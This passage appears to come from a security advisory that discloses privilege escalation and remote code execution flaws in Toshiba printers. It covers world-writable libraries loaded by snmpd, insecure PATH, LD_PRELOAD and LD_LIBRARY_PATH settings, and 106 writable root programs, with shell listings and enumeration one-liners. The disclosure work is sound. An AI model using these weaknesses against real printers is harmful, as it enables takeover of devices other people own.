root 1448 0.0 0.7 143680 21860 ? Sl 16:34 0:00 /home/SYSROM_SRC/build/release/bin/slapd -h ldap://127.0.0.1 -f /home/SYSROM_SRC/build/release/etc/openldap/slapd.conf -d 1
root 1460 0.0 0.2 387308 8036 ? Sl 16:34 0:02 /home/SYSROM_SRC/bin/mapper firstboot=0
root 1482 0.0 0.0 26120 2628 ? Ss 16:34 0:00 /usr/local/ebx/httpd_worker/bin/httpd_worker -f /encryption/al/network/config/httpd-prox.conf -k start
apache 1486 0.0 0.1 1264444 3728 ? Sl 16:34 0:00 /usr/local/ebx/httpd_worker/bin/httpd_worker -f /encryption/al/network/config/httpd-prox.conf -k start
[...]
root 1757 0.0 0.2 34388 8176 ? S 16:34 0:00 ./cipollproc
root 1758 0.0 0.2 34432 8180 ? S< 16:34 0:00 ./ciprioritymanager
root 1785 0.3 1.9 815004 59476 ? Sl 16:34 0:51 ./ebx_dl 1539 1537 1540 1 2 3 -T8
root 1786 0.0 0.5 101584 15612 ? S 16:34 0:00 ./de_ipfax 1539 1537 1540 1 2 3 -T8
root 1803 0.0 0.3 38908 9448 ? S 16:34 0:00 ./alnfcplugin
root 1846 0.0 0.0 15544 2788 ? S 16:34 0:00 /home/SYSROM_SRC/bin/eBXDebugLogUtility
root 1850 0.0 0.0 1744 500 ttyS0 Ss+ 16:34 0:00 /sbin/getty 115200 ttyS0
root 1864 0.0 0.4 46528 13060 ? S 16:34 0:00 ./alfilestoragem -T8
root 1866 0.0 0.6 60164 18036 ? S 16:34 0:00 ./alusermgr
root 1867 0.0 0.4 44120 14156 ? S 16:34 0:00 ./allicensemgmt
root 1868 0.0 0.6 56792 18680 ? Sl 16:34 0:00 ./aldeviceserviceplugin
root 1869 0.0 1.4 84708 42192 ? S 16:34 0:03 ./aldeviceconfigplugin
root 1870 0.0 0.6 60856 20516 ? S 16:34 0:01 ./aluserAuthMgr
root 1871 0.0 0.3 41912 11224 ? S 16:34 0:00 ./algrpmgr
root 1872 0.0 0.4 43616 13080 ? S 16:34 0:00 ./alrolemgr
root 1873 0.0 0.5 54708 14972 ? Sl 16:34 0:05 ./alrestrictionmode
root 1874 0.0 0.5 61692 15364 ? Sl 16:34 0:00 ./alsecurityconfiguration
root 1875 0.0 0.3 41408 11008 ? S 16:34 0:00 ./alintegritychkmgr
root 1876 0.3 3.6 482584 108060 ? Sl 16:34 0:43 ./alUiFrameWork legacy -S ramdisk
root 1877 0.0 0.9 92276 26968 ? Sl 16:34 0:01 ./alpanel panel 49 Controller/Settings/autoClear Controller/Information/Locale -T4
root 1878 0.0 0.4 60888 14588 ? S 16:34 0:00 ./aljobtemplatemgr
root 1879 0.0 0.3 42492 11204 ? S 16:34 0:00 ./alLogRetriever -T8
root 1880 0.0 0.4 49340 14248 ? S 16:34 0:00 ./alExportImport -T8
root 1881 0.0 0.4 57852 14596 ? S 16:34 0:00 ./aleFilingmgr -T8
root 1882 0.0 0.4 60244 13020 ? Sl 16:34 0:00 ./alpresentationresourcemgr -T8
root 1883 0.0 0.2 35036 8340 ? S 16:34 0:00 ./alServiceUIPlugin
root 1884 0.0 0.3 45624 10220 ? Sl 16:34 0:00 ./alPanelUIMessageHandler -S ramdisk
root 1885 0.0 0.3 42016 11916 ? S 16:34 0:00 ./alusbmscapplication
root 1886 0.0 0.4 70124 12236 ? Sl 16:34 0:00 ./alViewPlugin
root 1887 0.0 0.4 83200 12652 ? Sl 16:34 0:00 ./alsharedprintDp -T8
root 1888 0.0 0.7 62028 22420 ? S 16:34 0:06 ./alnsm -d9 -m00 -T5
root 1890 0.0 0.5 128920 16292 ? Sl 16:34 0:00 ./aljobcontroller -T8
root 1891 0.0 0.4 118216 12728 ? Sl 16:34 0:00 ./alprintmn -T8
root 1892 0.0 0.3 49888 11220 ? Sl 16:34 0:00 ./alreportsmsgr
root 1893 0.0 0.5 72764 17720 ? Sl 16:34 0:00 ./alreportmanager
root 1922 0.0 0.3 46056 11236 ? S 16:34 0:00 ./almailboxapplication
root 1923 0.0 0.4 44204 13528 ? S 16:34 0:00 ./alsoftwareupdateclient -T8
root 1974 0.0 0.5 56496 15560 ? S 16:34 0:00 ./alifaxreceive -T8
root 1975 0.0 0.4 47184 14844 ? S 16:34 0:00 ./almaintenanceplugin -T6
root 1976 0.0 0.3 41416 11312 ? S 16:34 0:00 ./alpdlfiltermanager
root 1977 0.0 0.4 51736 14524 ? S 16:34 0:00 ./alCloning -T8
root 1978 0.0 0.3 43528 9412 ? Sl 16:34 0:00 ./alPanelStartLEDHandler
root 1979 0.0 0.3 39964 11504 ? S 16:34 0:00 ./alhomedatamgr
root 1980 0.0 0.6 47532 18748 ? S 16:34 0:00 ./sim -T8
root 1981 0.0 0.7 92856 23600 ? Sl 16:34 0:01 ./informationservice -T8
root 1982 0.0 0.2 34624 8476 ? S 16:34 0:00 ./sljobmanagement -T8
root 1985 0.0 0.7 59792 22588 ? Sl 16:34 0:00 ./notificationservice 1284 -T8
root 1986 0.0 0.9 87936 28716 ? Sl 16:34 0:03 ./wfpc -T8
root 1987 0.0 0.3 35524 9156 ? S 16:34 0:00 ./armn -T8
root 2205 0.0 0.4 59596 12808 ? Ss 16:35 0:00 ./wfpc -T8
root 2208 0.0 0.3 59144 11220 ? Ss 16:35 0:00 ./wfpc -T8
root 2327 0.0 0.4 55020 13452 ? S 16:35 0:00 ./alAddressBookMgr
root 2328 0.0 0.5 72396 15208 ? Sl 16:35 0:00 ./alaccountmgr
root 2426 0.0 0.3 46192 10496 ? Sl 16:35 0:00 ./agent_scan 1282 1 -T8
root 2428 0.0 0.3 44272 9844 ? Sl 16:35 0:00 ./agent_faxreceive 1282 2 -T8
root 2430 0.0 0.6 450116 19668 ? Sl 16:35 0:00 ./agent_rip 1282 6 -T8
root 2432 0.0 0.3 47100 10260 ? Sl 16:35 0:00 ./agent_print 1282 15 -T8
root 2433 0.0 0.3 44316 9816 ? Sl 16:35 0:00 ./agent_faxtransmit 1282 16 -T8
root 2434 0.0 0.3 44296 9800 ? Sl 16:35 0:00 ./agent_ipfaxtransmit 1282 31 -T8
root 2435 0.0 0.3 44268 9796 ? Sl 16:35 0:00 ./agent_ipfaxreceive 1282 32 -T8
root 2515 0.0 0.4 54636 13444 ? Sl 16:35 0:00 ./alulm
root 2516 0.0 0.3 249732 9260 ? Sl 16:35 0:00 ./alcbamanager -S ramdisk
root 2614 0.0 0.5 183976 17564 ? Sl 16:35 0:00 ./alappmanager
root 2870 0.0 0.4 54968 14848 ? Sl 16:35 0:00 ./alLogmanager
root 2871 0.0 0.4 46088 13440 ? S 16:35 0:00 ./alhddbackuprestore
[...]
root 3784 0.0 0.4 45704 12760 ? S 16:35 0:00 /home/SYSROM_SRC/build/release/bin/alftpprintd
root 3828 0.0 0.0 15516 2424 ? S 16:35 0:00 /home/SYSROM_SRC/build/release/bin/vsftpd -enableprinting
root 3860 0.1 2.3 201372 70908 ? Sl 16:35 0:25 python /home/SYSROM_SRC/build/release/bin/sapphost.py 10000000-0000-0000-0000-500000000000
root 3935 0.0 0.4 218132 13644 ? Sl 16:35 0:00 /home/SYSROM_SRC/build/release/bin/alhp9100 -f /encryption/al/network/config/hp9100.conf
root 3970 0.1 1.6 144908 48860 ? Sl 16:35 0:24 python /home/SYSROM_SRC/build/release/bin/sapphost.py 10000000-0000-0000-0000-500000000001
root 3992 0.0 0.2 33948 8128 ? S 16:35 0:00 /home/SYSROM_SRC/build/release/bin/snmp_watchdog
root 4025 0.0 0.2 34236 8920 ? S 16:35 0:00 /home/SYSROM_SRC/bin/dnsValidateDaemon
[...]
The printer does not implement separation of privileges.
A vulnerability found inside one of the multiple components in the printer is enough to completely compromise the security of printer.
## Details - Local Privilege Escalation and Remote Code Execution using snmpd
Toshiba printers are vulnerable to a Local Privilege Escalation vulnerability because of an insecure library defined inside the configuration of snmpd. This Local Privilege Escalation can be also exploited as a Remote Code Execution by uploading a malicious library.
The snmpd configuration file located at `/encryption/al/network/config/snmpd.conf` contains the loading of an external and Toshiba-specific library. The code contained inside this library will be executed as root (as snmpd is running as root).
Content of `/encryption/al/network/config/snmpd.conf`:
dlmod mibs_impl /home/SYSROM_SRC/lib/libalmibs_impl.so
This file is a symbolic link to the `/home/SYSROM_SRC/lib/libalmibs_impl.so.0` library.
The `/home/SYSROM_SRC/lib/libalmibs_impl.so.0` file has incorrect permissions, allowing any local attacker or any remote attacker exploiting the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability to replace this file with a malicious library.
bash-4.1# ls -la /home/SYSROM_SRC/lib/libalmibs_impl.so*
lrwxrwxrwx 1 root root 19 Mar 14 16:27 /home/SYSROM_SRC/lib/libalmibs_impl.so -> libalmibs_impl.so.0
-rwxrwxrwx 1 root root 5239499 Dec 6 03:28 /home/SYSROM_SRC/lib/libalmibs_impl.so.0
bash-4.1#
This file will be loaded when snmpd starts. The snmpd program starts during the boot of the printer and is automatically restarted when it crashes.
It is possible to crash the remote snmpd server using the Pre-authenticated Remote Code Execution as root vulnerability to force the restart of the snmpd daemon, load the malicious library and compromise the printer.
An attacker can remotely compromise any Toshiba printer.
## Details - Local Privilege Escalation and Remote Code Execution using insecure PATH
Toshiba printers are vulnerable to a Local Privilege Escalation vulnerability because of an insecure PATH variable. This Local Privilege Escalation can be also exploited as a Remote Code Execution by uploading a malicious program using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
It was observed that the Toshiba printers are configured with an insecure `$PATH` variable:
bash-4.1# echo $PATH
/home/SYSROM_SRC/build/release/bin:/home/SYSROM_SRC/build/release/sbin:/home/SYSROM_SRC/build/release/bin:
/home/SYSROM_SRC/build/release/sbin:/home/SYSROM_SRC/build/release/bin:/home/SYSROM_SRC/build/release/sbin:
/bin:/usr/bin:/sbin:/usr/sbin:/sbin:/bin/:/usr/bin/:/usr/sbin:/sbin:/bin/:/usr/bin/:/usr/sbin:/sbin:/bin/:/usr/bin/:/usr/sbin
bash-4.1#
The `$PATH` variable contains several directories with insecure permissions (777) allowing any attacker to plant malicious programs that will be then executed instead of regular programs:
- - `/home/SYSROM_SRC/build/release/bin`
- - `/home/SYSROM_SRC/build/release/sbin`
These 2 directories are specified multiple times and are configured with the 777 permissions:
Insecure permissions of `/home/SYSROM_SRC/build/release/bin` and `/home/SYSROM_SRC/build/release`:
bash-4.1# ls -la /home/SYSROM_SRC/bin
lrwxrwxrwx 1 root trusted 17 Mar 14 16:34 /home/SYSROM_SRC/bin -> build/release/bin
bash-4.1# ls -la /home/SYSROM_SRC/build/release/bin
total 176508
drwxrwxrwx 2 root root 36864 Mar 15 16:12 .
drwxrwxrwx 19 root root 4096 Mar 14 16:28 ..
lrwxrwxrwx 1 root root 25 Mar 14 16:27 2to3 -> ../../thirdparty/bin/2to3
lrwxrwxrwx 1 root root 29 Mar 14 16:27 2to3-3.5 -> ../../thirdparty/bin/2to3-3.5
-rwxrwxrwx 1 root root 120381 Dec 6 01:56 ALABAMA_Large.ico
-rwxrwxrwx 1 root root 25214 Dec 6 01:56 ALABAMA_Small.ico
-rwxrwxrwx 1 root root 143884 Dec 6 01:56 ALABAMA_f_Large.ico
-rwxrwxrwx 1 root root 25214 Dec 6 01:56 ALABAMA_f_Small.ico
lrwxrwxrwx 1 root root 39 Mar 14 16:27 AppLicenseDataBase -> ../../thirdparty/bin/AppLicenseDataBase
...
Insecure permissions of `/home/SYSROM_SRC/build/release/sbin` and `/home/SYSROM_SRC/build/release`:
bash-4.1# ls -la /home/SYSROM_SRC/sbin
lrwxrwxrwx 1 root root 18 Mar 14 16:34 /home/SYSROM_SRC/sbin -> build/release/sbin
bash-4.1# ls -la /home/SYSROM_SRC/build/release/sbin
total 608
drwxrwxrwx 2 root root 4096 Dec 6 01:40 .
drwxrwxrwx 19 root root 4096 Mar 14 16:28 ..
-rwxrwxrwx 1 root root 4467 Dec 6 01:40 CheckAndRemovePerms.sh
lrwxrwxrwx 1 root root 26 Mar 14 16:27 afpd -> ../../thirdparty/sbin/afpd
lrwxrwxrwx 1 root root 30 Mar 14 16:27 arpaname -> ../../thirdparty/sbin/arpaname
lrwxrwxrwx 1 root root 28 Mar 14 16:27 atalkd -> ../../thirdparty/sbin/atalkd
lrwxrwxrwx 1 root root 30 Mar 14 16:27 cnid_dbd -> ../../thirdparty/sbin/cnid_dbd
lrwxrwxrwx 1 root root 32 Mar 14 16:27 cnid_metad -> ../../thirdparty/sbin/cnid_metad
lrwxrwxrwx 1 root root 34 Mar 14 16:27 ddns-confgen -> ../../thirdparty/sbin/ddns-confgen
...
On a side note, the `/home/SYSROM_SRC` directory is highly insecure with incorrect permissions used everywhere:
bash-4.1# ls -la /home/SYSROM_SRC
total 52
drwxr-xr-x 9 root root 4096 Mar 14 16:34 .
drwxr-xr-x 4 root root 4096 Mar 14 16:28 ..
lrwxrwxrwx 1 root root 30 Mar 14 16:28 CBAHttpServer -> /registration/al/CBAHttpServer
lrwxrwxrwx 1 root root 20 Mar 14 16:27 HDBROOT -> /home/SYSROM_SRC/tmp
drwxrwxrwx 7 root root 4096 Dec 6 00:46 NoBuildItems
lrwxrwxrwx 1 root root 28 Mar 14 16:28 Resources -> /registration/data/Resources
lrwxrwxrwx 1 root root 32 Mar 14 16:28 Resources_eBN -> /registration/data/Resources_eBN
-rwxr-xr-x 1 root root 5614 Mar 14 16:28 Startup.sh
lrwxrwxrwx 1 root root 40 Apr 6 2016 TopAccess -> /home/SYSROM_SRC/build/release/TopAccess
lrwxrwxrwx 1 root root 28 Mar 14 16:28 TopAccessPy -> /registration/al/TopAccessPy
lrwxrwxrwx 1 root root 23 Mar 14 16:28 WebAPI -> /registration/al/WebAPI
lrwxrwxrwx 1 root root 25 Mar 14 16:28 WebPanel -> /registration/al/WebPanel
lrwxrwxrwx 1 root trusted 17 Mar 14 16:34 bin -> build/release/bin
drwxr-xr-x 5 root root 4096 Apr 6 2016 build
drwxrwxrwx 2 root root 4096 Dec 6 01:13 config
drwxrwxrwx 3 root root 4096 Mar 14 16:28 data
lrwxrwxrwx 1 root root 17 Mar 14 16:34 etc -> build/release/etc
-rwxr-xr-x 1 root root 1075 Mar 14 16:27 install_rip_ram.sh
drwxrwxrwx 4 root root 4096 Mar 14 16:34 jobdata
lrwxrwxrwx 1 root trusted 17 Mar 14 16:34 lib -> build/release/lib
drwxrwxrwx 2 root root 4096 Dec 6 04:48 logs
lrwxrwxrwx 1 root root 18 Mar 14 16:34 sbin -> build/release/sbin
-rwxrwxrwx 1 root root 3492 Dec 8 2017 setenv
lrwxrwxrwx 1 root root 19 Mar 14 16:34 share -> build/release/share
drwxr-xr-x 3 root root 4096 Dec 6 04:48 var
bash-4.1#
An attacker can place any malicious program inside `/home/SYSROM_SRC/build/release/bin` or `/home/SYSROM_SRC/build/release/sbin` and they will be executed before legit programs that are stored in the regular UNIX directories (`/bin`, `/usr/bin`, `/sbin`, `/usr/sbin`).
An attacker can remotely compromise any Toshiba printer.
## Details - Local Privilege Escalation and Remote Code Execution using insecure LD_PRELOAD
Toshiba printers are vulnerable to a Local Privilege Escalation vulnerability because of an insecure LD_PRELOAD variable. This Local Privilege Escalation can be also exploited as a Remote Code Execution by uploading a malicious library using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
Toshiba printers are configured with an insecure `LD_PRELOAD` variable:
bash-4.1# printenv | grep LD_PRELOAD
LD_PRELOAD=/ramdisk/al/libGetNameInfoInterface.so:/ramdisk/al/libGetAddtInfoInterface.so:
bash-4.1#
The `$LD_PRELOAD` variable contains 2 libraries with insecure permissions (777) allowing any attacker to replace these libraries with malicious libraries that will be then executed:
- - `/ramdisk/al/libGetNameInfoInterface.so`
- - `/ramdisk/al/libGetAddtInfoInterface.so`
Checking the permissions of libraries defined in LD_PRELOAD:
bash-4.1# ls -la /ramdisk/al/libGetNameInfoInterface.so
-rwxrwxrwx 1 root root 70813 Dec 6 02:02 /ramdisk/al/libGetNameInfoInterface.so
bash-4.1# s -la /ramdisk/al/libGetAddtInfoInterface.so
-rwxrwxrwx 1 root root 87311 Dec 6 02:02 /ramdisk/al/libGetAddtInfoInterface.so
bash-4.1#
We can confirm these 2 libraries are loaded within programs inside the printers.
Using `/proc/$PID/maps`, we can list the libraries loaded inside the programs: these libraries are loaded inside all the programs running as root and apache in the printers:
bash-4.1# cd /proc && for i in */; do cat $i/cmdline && echo && grep ramdisk $i/maps;done
/home/SYSROM_SRC/build/release/bin/nqnd
77788000-77797000 r-xp 00000000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
77797000-77799000 rw-p 0000e000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
77799000-777a4000 r-xp 00000000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
777a4000-777a6000 rw-p 0000a000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
/home/SYSROM_SRC/build/release/bin/nqcs
7776d000-7777c000 r-xp 00000000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
7777c000-7777e000 rw-p 0000e000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
7777e000-77789000 r-xp 00000000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
77789000-7778b000 rw-p 0000a000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
[...]
/usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
777b5000-777c4000 r-xp 00000000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
777c4000-777c6000 rw-p 0000e000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
777c7000-777d2000 r-xp 00000000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
777d2000-777d4000 rw-p 0000a000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
/usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
777b5000-777c4000 r-xp 00000000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
777c4000-777c6000 rw-p 0000e000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
777c7000-777d2000 r-xp 00000000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
777d2000-777d4000 rw-p 0000a000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
[...]
./alusermgr
776f6000-77705000 r-xp 00000000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
77705000-77707000 rw-p 0000e000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
77707000-77712000 r-xp 00000000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
77712000-77714000 rw-p 0000a000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
./allicensemgmt
777dc000-777eb000 r-xp 00000000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
777eb000-777ed000 rw-p 0000e000 00:0d 10712 /ramdisk/al/libGetAddtInfoInterface.so
777ed000-777f8000 r-xp 00000000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
777f8000-777fa000 rw-p 0000a000 00:0d 7014 /ramdisk/al/libGetNameInfoInterface.so
[...]
An attacker can remotely compromise any Toshiba printer.
## Details - Local Privilege Escalation and Remote Code Execution using insecure LD_LIBRARY_PATH
Toshiba printers are vulnerable to a Local Privilege Escalation vulnerability because of an insecure LD_LIBRARY_PATH variable. This Local Privilege Escalation can be also exploited as a Remote Code Execution by uploading a malicious library using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
Toshiba printers are configured with an insecure `$LD_LIBRARY_PATH` variable:
bash-4.1# printenv|grep LD_LIBRARY_PATH
LD_LIBRARY_PATH=/home/SYSROM_SRC/build/release/lib:/mfp/lib:/home/SYSROM_SRC/NoBuildItems/common/lib:/home/SYSROM_SRC/build/thirdparty//plugins//platforminputcontexts/:/home/SYSROM_SRC/build/release/lib
bash-4.1#
The `$LD_LIBRARY_PATH` variable contains 4 directories insecure permissions (777) allowing any attacker to replace these libraries with malicious libraries that will be then executed:
- - `/home/SYSROM_SRC/build/release/lib`
- - `/mfp/lib`
- - `/home/SYSROM_SRC/NoBuildItems/common/lib`
- - `/home/SYSROM_SRC/build/thirdparty//plugins//platforminputcontexts/`
We can confirm these directories have insecure permissions and/or the files stored inside these directories have insecure permissions as shown below:
Insecure permissions of `/home/SYSROM_SRC/build/release/lib`:
bash-4.1# ls -la /home/SYSROM_SRC/build/release/lib
total 391144
drwxrwxrwx 4 root root 65536 May 27 16:28 .
drwxrwxrwx 19 root root 4096 May 27 16:28 ..
lrwxrwxrwx 1 root root 38 Apr 6 2016 ImageMagick-6.3.3 -> ../../thirdparty/lib/ImageMagick-6.3.3
lrwxrwxrwx 1 root root 38 Mar 14 16:27 ImageMagick-6.7.5 -> ../../thirdparty/lib/ImageMagick-6.7.5
lrwxrwxrwx 1 root root 15 Mar 14 16:27 al8021XNMO.so -> al8021XNMO.so.0
-rwxrwxrwx 1 root root 223011 Dec 6 01:58 al8021XNMO.so.0
lrwxrwxrwx 1 root root 14 Mar 14 16:27 alDDNSNMO.so -> alDDNSNMO.so.0
-rwxrwxrwx 1 root root 171442 Dec 6 01:59 alDDNSNMO.so.0
lrwxrwxrwx 1 root root 13 Mar 14 16:27 alDNSNMO.so -> alDNSNMO.so.0
[...]
Insecure permissions of `/mfp/lib`:
bash-4.1# ls -la /mfp/lib
total 344308
drwxr-xr-x 2 root root 12288 May 27 16:28 .
drwxr-xr-x 8 root root 4096 May 27 16:28 ..
-rwxrwxrwx 1 root root 75 Jan 11 2013 DirectoryCopy.txt
-rwxrwxrwx 1 root root 203 Jun 29 2017 SharedFiles.ini
-rwxrwxrwx 1 root root 6210326 Jun 9 2022 laser.so
-rwxrwxrwx 1 root root 11386849 Jun 9 2022 laserc1x.so
-rwxrwxrwx 1 root root 298388 Dec 17 2017 libAbbyyZlib.so
-rwxrwxrwx 1 root root 1518996 Dec 17 2017 libBarcode.so
-rwxrwxrwx 1 root root 1045032 Dec 17 2017 libBusinessCard.Analyser.so
[...]
Insecure permissions of `/home/SYSROM_SRC/NoBuildItems/common/lib`:
bash-4.1# ls -la /home/SYSROM_SRC/NoBuildItems/common/lib
total 49580
drwxrwxrwx 2 root root 4096 May 27 16:27 .
drwxrwxrwx 4 root root 4096 Dec 6 00:21 ..
-rwxrwxrwx 1 root root 624082 Dec 6 04:53 libCryptolib.so
-rwxrwxrwx 1 root root 624082 Dec 6 04:53 libCryptolib.so.0
-rwxrwxrwx 1 root root 624082 Apr 20 2018 libCryptolib.so.0.0.0
-rwxrwxrwx 1 root root 22366570 Jun 4 2018 libFREmbed.so
lrwxrwxrwx 1 root root 14 Mar 14 16:27 libasicif.so -> libasicif.so.1
lrwxrwxrwx 1 root root 16 Mar 14 16:27 libasicif.so.1 -> libasicif.so.1.0
-rwxrwxrwx 1 root root 12649 Apr 2 2016 libasicif.so.1.0
[...]
Insecure permissions of `/home/SYSROM_SRC/build/thirdparty//plugins//platforminputcontexts/`:
bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty//plugins//platforminputcontexts/
total 13036
drwxrwxrwx 2 510 510 4096 Sep 13 2019 .
drwxrwxrwx 18 510 510 4096 Sep 13 2019 ..
-rwxrwxrwx 1 510 510 84844 Aug 25 2016 libibusplatforminputcontextplugin.so
-rwxrwxrwx 1 510 510 13252081 Sep 13 2019 libscreenkeyboardplugin.so
bash-4.1#
On a side note, all the libraries have also insecure permissions in the previous listing.
An attacker can remotely compromise any Toshiba printer.
## Details - Local Privilege Escalation and Remote Code Execution using insecure permissions for 106 programs
Some vendor-specific programs are running inside Toshiba printers. These programs run as root and have insecure permissions (777) allowing an attacker to replace these programs with malicious programs. This Local Privilege Escalation can be also exploited as a Remote Code Execution by uploading a malicious program using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
Some programs are running as root, for example:
bash-4.1# ps auxw | grep root
root 1448 0.0 0.7 143680 21860 ? Sl 16:34 0:00 /home/SYSROM_SRC/build/release/bin/slapd -h ldap://127.0.0.1 -f /home/SYSROM_SRC/build/release/etc/openldap/slapd.conf -d 1
root 1460 0.0 0.2 387308 8036 ? Sl 16:34 0:02 /home/SYSROM_SRC/bin/mapper firstboot=0
[...]
root 1487 0.0 0.3 53496 10184 ? Sl 16:34 0:02 ./cissm -T 7 -d ssm.xml
root 1647 0.0 0.3 67568 9256 ? Sl 16:34 0:02 ./cischeduler -S ramdisk
root 1648 0.0 0.3 49452 11852 ? Sl 16:34 0:00 ./cisystemresourcemanager -T8
root 1650 0.0 0.3 50320 11112 ? S 16:34 0:00 ./pipeMN -T8
root 1652 0.0 0.3 47372 10708 ? S 16:34 0:00 ./cpe -T8
root 1653 0.0 0.2 35524 8888 ? S 16:34 0:00 ./dem -T8
root 1654 0.0 0.4 53448 12588 ? S 16:34 0:00 ./dim -T8
root 1655 0.1 0.4 96460 12128 ? Sl 16:34 0:18 ./alboserver -T5
[...]
Using this one-liner, it is possible to list the file corresponding to programs running inside the printers:
Programs running as root:
bash-4.1# for i in $(ps auxww | grep root | awk '{ print $11 }' | grep -v '^\[' | grep -v COMMAND | grep -v '(' | grep -v ':$' | grep -v 'supervising' | sort | uniq); do ls -la $(which "$(echo $i | sed -e 's#^\./##')");done
Running with a different user:
for i in $(ps auxww | grep -v root | awk '{ print $11 }' | grep -v '^\[' | grep -v COMMAND | grep -v '(' | grep -v ':$' | grep -v 'supervising' | sort | uniq); do ls -la $(which "$(echo $i | sed -e 's#^\./##')");done
These commands allow to list 106 vulnerable programs found inside the printers.
### 3 vulnerable programs not running as root
3 programs have been identified as vulnerable (running with a low-privileged user and that can be overwritten by any local or remote attacker):
- - /home/SYSROM_SRC/thirdparty/sbin/slpd
- - /usr/local/ebx/bin/httpd
- - /usr/local/ebx/httpd_worker/bin/httpd_worker
Vulnerable programs not running as root:
bash-4.1# for i in $(ps auxww | grep -v root | awk '{ print $11 }' | grep -v '^\[' | grep -v COMMAND | grep -v '(' | grep -v ':$' | grep -v 'supervising' | sort | uniq); do ls -la $(which "$(echo $i | sed -e 's#^\./##')");done
lrwxrwxrwx 1 root root 26 Mar 14 16:27 /home/SYSROM_SRC/bin/slpd -> ../../thirdparty/sbin/slpd
-rwxrwxrwx 1 apache messagebus 656546 Dec 6 01:34 /usr/local/ebx/bin/httpd
-rwxrwxrwx 1 apache messagebus 665612 Dec 6 01:34 /usr/local/ebx/httpd_worker/bin/httpd_worker
bash-4.1#
When following the link to slpd, we can confirm it is also vulnerable:
bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/sbin/slpd
-rwxrwxrwx 1 root root 106023 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/sbin/slpd
bash-4.1#
### 103 vulnerable programs running as root
103 programs have been identified as vulnerable (running as root and that can be overwritten by any local or remote attacker):
- - /home/SYSROM_SRC/bin/alllmnr
- - /home/SYSROM_SRC/bin/dnsValidateDaemon
- - /home/SYSROM_SRC/bin/eBXDebugLogUtility
- - /home/SYSROM_SRC/bin/ipv6_daemon
- - /home/SYSROM_SRC/bin/mapper
- - /home/SYSROM_SRC/bin/syscallerr
- - /home/SYSROM_SRC/build/release/bin/agent_faxreceive
- - /home/SYSROM_SRC/build/release/bin/agent_faxtransmit
- - /home/SYSROM_SRC/build/release/bin/agent_ipfaxreceive
- - /home/SYSROM_SRC/build/release/bin/agent_ipfaxtransmit
- - /home/SYSROM_SRC/build/release/bin/agent_print
- - /home/SYSROM_SRC/build/release/bin/agent_rip
- - /home/SYSROM_SRC/build/release/bin/agent_scan
- - /home/SYSROM_SRC/build/release/bin/alaccountmgr
- - /home/SYSROM_SRC/build/release/bin/alAddressBookMgr
- - /home/SYSROM_SRC/build/release/bin/alappmanager
- - /home/SYSROM_SRC/build/release/bin/alboserver
- - /home/SYSROM_SRC/build/release/bin/alcbamanager
- - /home/SYSROM_SRC/build/release/bin/alCloning
- - /home/SYSROM_SRC/build/release/bin/aldevauthmgmtplugin
- - /home/SYSROM_SRC/build/release/bin/aldeviceconfigplugin
- - /home/SYSROM_SRC/build/release/bin/aldeviceserviceplugin
- - /home/SYSROM_SRC/build/release/bin/aleFilingmgr
- - /home/SYSROM_SRC/build/release/bin/aleSCL
- - /home/SYSROM_SRC/build/release/bin/alExportImport
- - /home/SYSROM_SRC/build/release/bin/alfilestoragem
- - /home/SYSROM_SRC/build/release/bin/alftpprintd
- - /home/SYSROM_SRC/build/release/bin/algrpmgr
- - /home/SYSROM_SRC/build/release/bin/alhddalertmgr
- - /home/SYSROM_SRC/build/release/bin/alhddbackuprestore
- - /home/SYSROM_SRC/build/release/bin/alhomedatamgr
- - /home/SYSROM_SRC/build/release/bin/alhp9100
- - /home/SYSROM_SRC/build/release/bin/alifaxreceive
- - /home/SYSROM_SRC/build/release/bin/alintegritychkmgr
- - /home/SYSROM_SRC/build/release/bin/aljobcontroller
- - /home/SYSROM_SRC/build/release/bin/aljobtemplatemgr
- - /home/SYSROM_SRC/build/release/bin/allicensemgmt
- - /home/SYSROM_SRC/build/release/bin/allld2d
- - /home/SYSROM_SRC/build/release/bin/alLogmanager
- - /home/SYSROM_SRC/build/release/bin/alLogRetriever
- - /home/SYSROM_SRC/build/release/bin/allprng
- - /home/SYSROM_SRC/build/release/bin/almailboxapplication
- - /home/SYSROM_SRC/build/release/bin/almaintenanceplugin
- - /home/SYSROM_SRC/build/release/bin/alnetefiRemoteifsr
- - /home/SYSROM_SRC/build/release/bin/alnfcplugin
- - /home/SYSROM_SRC/build/release/bin/alnsm
- - /home/SYSROM_SRC/build/release/bin/alpanel
- - /home/SYSROM_SRC/build/release/bin/alPanelStartLEDHandler
- - /home/SYSROM_SRC/build/release/bin/alPanelUIMessageHandler
